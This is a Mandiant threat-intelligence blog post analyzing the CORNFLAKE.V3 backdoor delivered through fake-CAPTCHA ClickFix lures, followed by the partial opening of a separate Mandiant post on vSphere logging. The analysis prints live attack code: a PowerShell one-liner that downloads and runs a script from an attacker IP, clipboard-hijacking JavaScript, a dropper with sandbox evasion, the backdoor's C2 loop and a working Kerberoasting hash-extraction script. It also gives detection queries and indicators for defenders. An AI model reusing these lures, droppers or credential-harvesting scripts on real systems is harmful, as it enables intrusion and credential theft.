Mandiant Threat Intelligence

A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor

1 day 4 hours ago

Written by: Marco Galli

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the "Frontline Bulletin" series brings you the latest on the most intriguing compromises we are seeing in the wild right now, equipping our community to understand and respond to the most compelling threats we observe. This edition dissects an infection involving two threat groups, UNC5518 and UNC5774, leading to the deployment of CORNFLAKE.V3.

Introduction

Since June 2024, Mandiant Threat Defense has been tracking UNC5518, a financially motivated threat cluster compromising legitimate websites to serve fake CAPTCHA verification pages. This deceptive technique, known as ClickFix, lures website visitors into executing a downloader script which initiates a malware infection chain. UNC5518 appears to partner with clients or affiliates who use access obtained by the group to deploy additional malware.

While the initial compromise and fake CAPTCHA deployment are orchestrated by UNC5518, the payloads served belong to other threat groups. UNC5518 utilizes downloader scripts that function as an access-as-a-service. Several distinct threat actors have been observed leveraging the access provided by UNC5518, including:

UNC5774: A financially motivated group known to use CORNFLAKE backdoor to deploy a variety of subsequent payloads.
UNC4108: A threat cluster with unknown motivation, observed using PowerShell to deploy various tools like VOLTMARKER and NetSupport RAT, and conducting reconnaissance.

This blog post details a campaign where Mandiant identified UNC5518 deploying a downloader that delivers CORNFLAKE.V3 malware. Mandiant attributes the CORNFLAKE.V3 samples to UNC5774, a distinct financially motivated actor that uses UNC5518's access-as-a-service operation as an entry vector into target environments.

The CORNFLAKE Family

CORNFLAKE.V3 is a backdoor, observed as two variants, written in JavaScript or PHP (PHP Variant) that retrieves payloads via HTTP. Supported payload types include shell commands, executables and dynamic link libraries (DLLs). Downloaded payloads are written to disk and executed. CORNFLAKE.V3 collects basic system information and sends it to a remote server via HTTP. CORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote servers.

CORNFLAKE.V3 is an updated version of CORNFLAKE.V2, sharing a significant portion of its codebase. Unlike V2, which functioned solely as a downloader, V3 features host persistence via a registry Run key, and supports additional payload types.

The original CORNFLAKE malware differed significantly from later iterations, as it was written in C. This first variant functioned as a downloader, gathering basic system information and transmitting it via TCP to a remote server. Subsequently, it would download and execute a payload.

Malware Family

CORNFLAKE

CORNFLAKE.V2

CORNFLAKE.V3

Language

JS or PHP

Type

Downloader

Backdoor

C2 Communication

TCP socket (XOR encoded)

HTTP (XOR encoded)

Payload types

DLL

DLL,EXE,JS,BAT

DLL,EXE,JS,BAT,PS

Persistence

Registry Run key

Table 1: Comparison of CORNFLAKE malware variants

Figure 1: The observed CORNFLAKE.V3 (Node.js) attack lifecycle

Initial Lead

Mandiant Threat Defense responded to suspicious PowerShell activity on a host resulting in the deployment of the CORNFLAKE.V3 backdoor.

Mandiant observed that a PowerShell script was executed via the Run command using the Windows+R shortcut. Evidence of this activity was found in the HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, containing the following entry which resulted in the download and execution of the next payload:

Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1

The RunMRU registry key stores the history of commands entered into the Windows Run (shortcut Windows+R) dialog box.

The execution of malicious scripts using the Windows+R shortcut is often indicative of users who have fallen victim to ClickFix lure pages. Users typically land on such pages as a result of benign browsing leading to interaction with search results that employ SEO poisoning or malicious ads.

Figure 2: Fake CAPTCHA verification (ClickFix) on an attacker-controlled webpage

As seen in the Figure 2, the user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboard by the malicious web page when the user clicked on the image. The webpage accomplished this with the following JavaScript code:

// An image with the reCAPTCHA logo is displayed on the webpage <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // The malicious script is saved in variable _0xC var _0xC = "powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1"; // When the image is clicked, the script is copied to the clipboard document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy");

The PowerShell command copied to clipboard is designed to download and execute a script from the remote server 138.199.161[.]141:8080/$u, where $u indicates the UNIX epoch timestamp of the download.

As a result, the PowerShell process connects to the aforementioned IP address and port with URL path 1742214432 (UNIX epoch timestamp), as shown in the following HTTP GET request:

GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.\]141:8080 Connection: Keep-Alive

The following PowerShell dropper script, similar to 1742214432, was recovered from a threat-actor controlled server during the investigation of a similar CORNFLAKE.V3 compromise:

# Get computer manufacturer for evasion check. $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer # Exit if running in QEMU (VM detection). if ($Manufacturer -eq "QEMU") { exit 0; } # Get memory info for evasion check. $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb # Exit if total memory is low or calculated "used" memory is low (possible sandbox detection). if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Exit if computer name matches default pattern (possible sandbox detection). if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } # Pause execution briefly. sleep 1 # Define download URL (defanged). $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" # Define destination folder (AppData). $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") # Define temporary file path for download. $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") # Download the Node.js zip file. iwr -Uri $ZipURL -OutFile $ZipFile # Try block for file extraction using COM objects. try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) # Copy/extract contents silently. $Destination.CopyHere($ZIP.Items(), 20) } # Exit on any extraction error. catch { exit 0 } # Update destination path to the extracted Node.js folder. $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample). $BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample> # Decode the Base64 string. $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) # Convert decoded bytes to a string (the payload code). $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Path to the extracted node.exe. $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") # Start node.exe to execute the decoded string data as JavaScript, hidden. start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden

The PowerShell dropper’s execution includes multiple steps:

Check if it is running inside a virtual machine and, if true, exit
Download Node.js via HTTPS from the URL hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip, write the file to %TEMP%\downloaded.zip and extract its contents to the directory %APPDATA%\node-v22.11.0-win-x64
Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command %APPDATA%\node-v22.11.0-win-x64\node.exe -e “<base64_decoded_CORNFLAKE.v3>”

The PowerShell dropper's anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system's computer name matches the regular expression DESKTOP-S* or the target system's manufacturer is QEMU.

As a result of the dropper’s execution, a DNS query for the nodejs[.]org domain was made, followed by the download of an archive named downloaded.zip (SHA256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236). This archive contained the Node.js runtime environment, including its executable file node.exe, which was then extracted to %APPDATA%\node-v22.11.0-win-x64\. The Node.js environment allows for the execution of JavaScript code outside of a web browser.

The extracted %APPDATA%\node-v22.11.0-win-x64\node.exe binary was then launched by Powershell with the -e argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.

Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:

Host and AD-based reconnaissance
Persistence via Registry Run key
Credential harvesting attempts via Kerberoasting

The following process tree was observed during the investigation:

explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex" ↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -c "{Initial check and System Information Collection}" ↳ C:\Windows\System32\ARP.EXE -a ↳ C:\Windows\System32\chcp.com 65001 ↳ C:\Windows\System32\systeminfo.exe ↳ C:\Windows\System32\tasklist.exe /svc ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where processid=16004 get commandline" ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}" ↳ c:\windows\system32\cmd.exe /d /s /c "{Active Directory Reconnaissance}" ↳ c:\windows\system32\cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}" Analysis of CORNFLAKE.V3

The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.

Initial Check and System Information Collection if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], { detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); }

When the script initially executes, a check verifies the command line arguments of the node.exe process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has 1 as an additional argument, then the initial node.exe exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.

This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.

Following this, the malware attempts to collect system information using the following code:

This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using execSync. It gathers the script's version, user privilege level (System, Admin, User), standard systeminfo output, running tasks/services (tasklist /svc), service details (Get-Service), available drives (Get-PSDrive), and the ARP table (arp -a).

C2 Initialization

After setting some logical constants and the command and control (C2) server IP address, the malware enters the mainloop function. The script contains support for two separate lists, hosts and hostsIP, which are both used in the C2 communication logic. Initially, the mainloop function attempts to connect to a random host in the hosts list, however, if unable to do so, it will attempt to connect to a random IP address in the hostsIP list instead. Once a connection is successfully established, the main function is called.

// Define lists of hostnames and IP addresses for the command and control server. const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; // Variables to manage the connection and retry logic. let useIp = 0; let delay = 1; // Main loop to continuously communicate with the command and control server. async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) { // Wait for the specified delay. await new Promise((resolve) => setTimeout(resolve, delay)); try { // Attempt to communicate with the command and control server. if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; } } catch (error) { // Handle errors during communication. console.error('Error with HTTP request:', error.message); toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue; } // Set the delay for the next attempt. delay = 1000 * 60 * 5; } } C2 Communication

This function, named main, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path /init1234, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the enc function.

This request is answered by the C2 with 2 possible responses:

ooff - the process exits
atst - the atst function is called, which establishes persistence on the host

If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:

Command

Type

Description

EXE

The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.exe and launched using the Node.js child_process.spawn() function.

DLL

The received payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.dll and launched using the Node.js child_process.spawn() function as an argument to rundll32.exe.

The received payload is launched from memory as an argument to node.exe using the Node.js child_process.spawn() function.

CMD

The received payload is launched from memory as an argument to cmd.exe using the Node.js child_process.spawn() function. Additionally, the output is saved in the LastCmd variable and sent to the C2 in the next request.

Other

The payload is written to %APPDATA%\<random_8_chars>\<random_8_chars>.log.

Table 2: CORNFLAKE.V3 supported payloads Persistence

The atst function, called by main, attempts to establish persistence on the host by creating a new registry Run key named ChromeUpdater under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

The malware uses wmic.exe to obtain the command line arguments of the currently running node.exe process. If node.exe was launched with the -e argument, like the malware does initially, the script extracts the argument after -e, which contains the full malicious script. This script is written to the <random_8_chars>.log file in the Node.js installation directory and its path is saved to the path2file variable.

If node.exe was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the path2file variable.

The path2file variable is then set as an argument to node.exe in the newly created ChromeUpdater registry key. This ensures that the malware executes upon user logon.

Executed Payloads

As observed in the main function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.

Active Directory Reconnaissance

The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.

Domain Joined

Query Active Directory Computer Count: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.
Display Detailed User Context: Executes whoami /all to reveal the current user's Security Identifier (SID), domain and local group memberships, and assigned security privileges.
Enumerate Domain Trusts: Executes nltest /domain_trusts to list all domains that the current computer's domain has trust relationships with (both incoming and outgoing).
List Domain Controllers: Executes nltest /dclist : to find and list the available Domain Controllers (DCs) for the computer's current domain.
Query Service Principal Names (SPNs): Executes setspn -T <UserDomain> -Q */* to query for all SPNs registered in the user's logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=...Users).

Not Domain Joined

Enumerate Local Groups: Uses Get-LocalGroup to list all security groups defined locally on the machine.
Enumerate Local Group Members: For each local group found, uses Get-LocalGroupMember to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).

Kerberoasting

The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.

$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New - Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g - ne 'krbtgt') { Start - Sleep - Seconds (Get - Random - Minimum 1 - Maximum 11); foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New - Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList $h; } catch {} if ($i - ne $null) { $j = $i.GetRequest(); if ($j) { $k = [System.BitConverter]::ToString($j) - replace'-'; [System.Collections.ArrayList]$l = ($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201'; $l.RemoveAt($l.Count - 1); $m = $l - join'A48201'; try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write - Host $n; break; } catch {}}}}}} PHP Variant

Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.

This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.

The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:\Users\<User>\AppData\Roaming\php\ directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:

"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1

To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-stream

Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:

Command

Type

Notes

EXE

This decrypted content is saved to a temporary executable file (<rand_8_char>.exe) created in a random directory within the user's %APPDATA% folder, and executed through PowerShell as a hidden process.

DLL

The decrypted content is saved as a <rand_8_char>.png file in a temporary directory within the user's %APPDATA% folder. Subsequently, rundll32.exe is invoked to execute the downloaded file.

This decrypted content is saved as a <rand_8_char>.jpg file in a temporary directory within the user's %APPDATA% folder. The script attempts to check if Node.js is installed. If Node.js is not found or fails to install from a hardcoded URL (http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip), an error message is printed. If Node.js is available, the downloaded JavaScript (.jpg) file is executed using node.exe.

CMD

This decrypted data is executed as a provided command string via cmd.exe or powershell.exe.

ACTIVE

This command reports the active_cnt (stored in the $qRunq global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant.

AUTORUN

The malware attempts to establish persistence by adding a registry entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run that points to the script's PHP binary and its own path.

OFF

This command directly calls exit(0), which terminates the PHP script's execution.

OTHER

If none of the specific commands match, the received data is saved as a .txt file in a temporary directory within the user's %APPDATA% folder.

Table 3: CORNFLAKE.V3 PHP variant supported payloads

The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.

These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.

Executed Payloads Active Directory Reconnaissance

A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:

Domain Joined

Total count of computer accounts in AD.
Domain trust relationships.
List of all Domain Controllers.
Members of the "Domain Admins" group.
User accounts configured with a Service Principal Name (SPN).
All local groups and their members
Current User name, SID, local group memberships and security privileges

Not Domain Joined

All local groups and their members
Current User name, SID, local group memberships and security privileges

WINDYTWIST.SEA Backdoor

Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:

tcp://167.235.235[.]151:443 tcp://128.140.120[.]188:443 tcp://177.136.225[.]135:443

This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.

The following process tree was observed during the infection:

explorer.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))" ↳ C:\WINDOWS\system32\clip.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ" ↳ C:\WINDOWS\system32\systeminfo.exe ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>" \"<script_path>"" /f" ↳ powershell.exe ↳ C:\Windows\System32\rundll32.exe "{WINDYTWIST.SEA Backdoor}" start Conclusion

This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.

To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.

Acknowledgements

Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.

Detection Through Google Security Operations

For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.

Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:

Powershell Executing NodeJS
Powershell Writing To Appdata
Suspicious Clipboard Interaction
NodeJS Reverse Shell Execution
Download to the Windows Public User Directory via PowerShell
Run Utility Spawning Suspicious Process
WSH Startup Folder LNK Creation
Trycloudflare Tunnel Network Connections

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

Execution of CORNFLAKE.V3 — Node.js

Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase Execution of CORNFLAKE.V3 — PHP

Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase CORNFLAKE.V3 Child Process Spawns

Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase Suspicious Connections to Node.js/PHP Domains

Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.

metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase Indicators of Compromise (IOCs)

A Google Threat Intelligence (GTI) collection of IOCs is available to registered users.

Host-Based Artifacts

Artifact

Description

SHA-256 Hash

C:\Users\<User>\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log

Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence

000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater

Scheduled task that executes the CORNFLAKE.V3 (Node.js) sample

N/A

C:\Users\<User>\AppData\Roaming\php\config.cfg

CORNFLAKE.V3 (PHP) sample

a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube

Scheduled task that executes the CORNFLAKE.V3 (PHP) sample

N/A

C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png

WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP)

14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c

Network-Based Artifacts

IP Address

Description

138.199.161[.]141

IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware

159.69.3[.]151

CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774

varying-rentals-calgary-predict.trycloudflare[.]com

CORNFLAKE.V3 (PHP) C2 server associated with UNC5774

dnsmicrosoftds-data[.]com

windows-msg-as[.]live

Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware

167.235.235[.]151

128.140.120[.]188

177.136.225[.]135

WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774

Mandiant

From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944

Mandiant Threat Intelligence

4 weeks 1 day ago

Introduction

In mid 2025, Google Threat Intelligence Group (GTIG) identified a sophisticated and aggressive cyber campaign targeting multiple industries, including retail, airline, and insurance. This was the work of UNC3944, a financially motivated threat group that has exhibited overlaps with public reporting of "0ktapus," "Octo Tempest," and "Scattered Spider." Following public alerts from the Federal Bureau of Investigation (FBI), the group's targeting became clear. GTIG observed that the group was suspected of turning its ransomware and extortion operations to the U.S. retail sector. The campaign soon broadened further, with airline and transportation organizations in North America having also become targets.

The group's core tactics have remained consistent and do not rely on software exploits. Instead, they use a proven playbook centered on phone calls to an IT help desk. The actors are aggressive, creative, and particularly skilled at using social engineering to bypass even mature security programs. Their attacks are not opportunistic but are precise, campaign-driven operations aimed at an organization's most critical systems and data.

Their strategy is rooted in a "living-off-the-land" (LoTL) approach. After using social engineering to compromise one or more user accounts, they manipulate trusted administrative systems and use their control of Active Directory as a launchpad to pivot to the VMware vSphere environment, thus providing an avenue to exfiltrate data and deploy ransomware directly from the hypervisor. This method is highly effective as it generates few traditional indicators of compromise (IoCs) and bypasses security tools like endpoint detection and response (EDR), which often have limited or no visibility into the ESXi hypervisor and vCenter Server Appliance (VCSA).

This blog post provides a deep dive into the anatomy of UNC3944's vSphere-centric attacks and outlines a fortified, multi-pillar defense strategy required for mitigation. Learn more about the risks associated with integrating VMware vSphere with Microsoft Active Directory. Additionally, register for our upcoming webinar to learn these strategies directly from Mandiant experts.

vSphere Logging Fundamentals

Before discussing key detection signals and hardening strategies related to UNC3944’s vSphere-related operations, it's important to understand vSphere logging and the distinction between vCenter Events and ESXi host logs. When forwarded to a central syslog server, vCenter Server events and ESXi host logs represent two distinct yet complementary sources of data. Their fundamental difference lies in their scope, origin, and the structured, event-driven nature of vCenter logs versus the verbose, file-based output of ESXi.

1. vCenter Server (VC Events)

vCenter events operate at the management plane, providing a structured audit trail of administrative actions and automated processes across the entire virtual environment. Each event is a discrete, well-defined object identified by a unique eventTypeId, such as VmPoweredOnEvent or UserLoginSessionEvent. This programmatic identification makes them ideal for ingestion into Security Information and Event Management (SIEM) platforms like Splunk or Google Chronicle for automated parsing, alerting, and security analysis.

Figure 1: VC Event log structure

Native storage & syslog forwarding: These events are generated by vCenter Server and stored within its internal VCSA database (PostgreSQL). When forwarded, vCenter streams a real-time copy of these structured events to the syslog server. The resulting log message typically contains the formal eventTypeId along with its human-readable description, allowing for precise analysis.
Primary use cases:

Security auditing & forensics: Tracking user actions, permission changes, and authentication
Change management: Providing a definitive record of all configuration changes to clusters, hosts, and virtual machines (VMs)
Automated alerting: Triggering alerts in a SIEM or monitoring tool based on specific eventTypeIds (e.g., HostCnxFailedEvent)

Examples of vCenter Events: As documented in resources like the vCenter Event Mapping repository, each event has a specific programmatic identifier.

UserLoginSessionEvent

Description: "User {userName}@{ipAddress} logged in as {locale}"
Significance: A critical security event for tracking all user access to the vCenter management plane

VmCreatedEvent

Description: "Created virtual machine {vm.name} on {host.name} in {datacenter.name}"
Significance: Logs the creation of new inventory objects, essential for asset management and change control

VmPoweredOffEvent

Description: "Virtual machine {vm.name} on {host.name} in {datacenter.name} is powered off"
Significance: Tracks the operational state and availability of workloads. An unexpected power-off event is a key indicator for troubleshooting.

Note on VCSA Logging Limitations: The VCSA does not, out-of-the-box, support forwarding critical security logs for denied network connections or shell command activity. To enable this non-default capability, a custom configuration at the native Photon OS level is required. This is an agentless approach that leverages only built-in Linux tools (like iptables and logger) and does not install any third-party software. This configuration pipes firewall and shell events into the VCSA's standard rsyslog service, allowing the built-in remote logging mechanism to forward them to a central SIEM.

2. ESXi Host Logs

ESXi logs operate at the hypervisor level, providing granular, host-specific operational data. They contain detailed diagnostic information about the kernel, hardware, storage, networking, and services running directly on the ESXi host.

Native storage: These logs are enabled by default and stored as a collection of plain text files on the ESXi host itself, primarily within the /var/log/ directory. This storage is often a local disk or a persistent scratch partition. If a persistent location is not configured, these logs are ephemeral and will be lost upon reboot, making syslog forwarding essential for forensics.

Figure 2: ESXi standard log structure

Primary use cases:
- Deep-dive troubleshooting of performance issues
- Diagnosing hardware failures or driver issues
- Analyzing storage and network connectivity problems
Examples of ESXi log entries sent to syslog:
- (from vmkernel.log): Detailed logs about storage device latency
- (from hostd.log): Logs from the host agent, including API calls, VM state changes initiated on the host, and host service activity
- (from auth.log): Records of successful or failed login attempts directly to the host via SSH or the DCUI

3. ESXi Host Audit Logs

ESXi audit records provide a high-fidelity, security-focused log of actions performed directly on an ESXi host. The following analysis of the provided example demonstrates why this log source is forensically superior to standard logs for security investigations. These logs are not enabled by default.

Native storage & persistence: These records are written to audit.*.log on the host's local filesystem, governed by the Syslog.global.auditRecord.storageEnable = TRUE parameter. Persistent storage configuration is critical to ensure this audit trail survives a reboot.

Figure 3: ESXi audit log structure

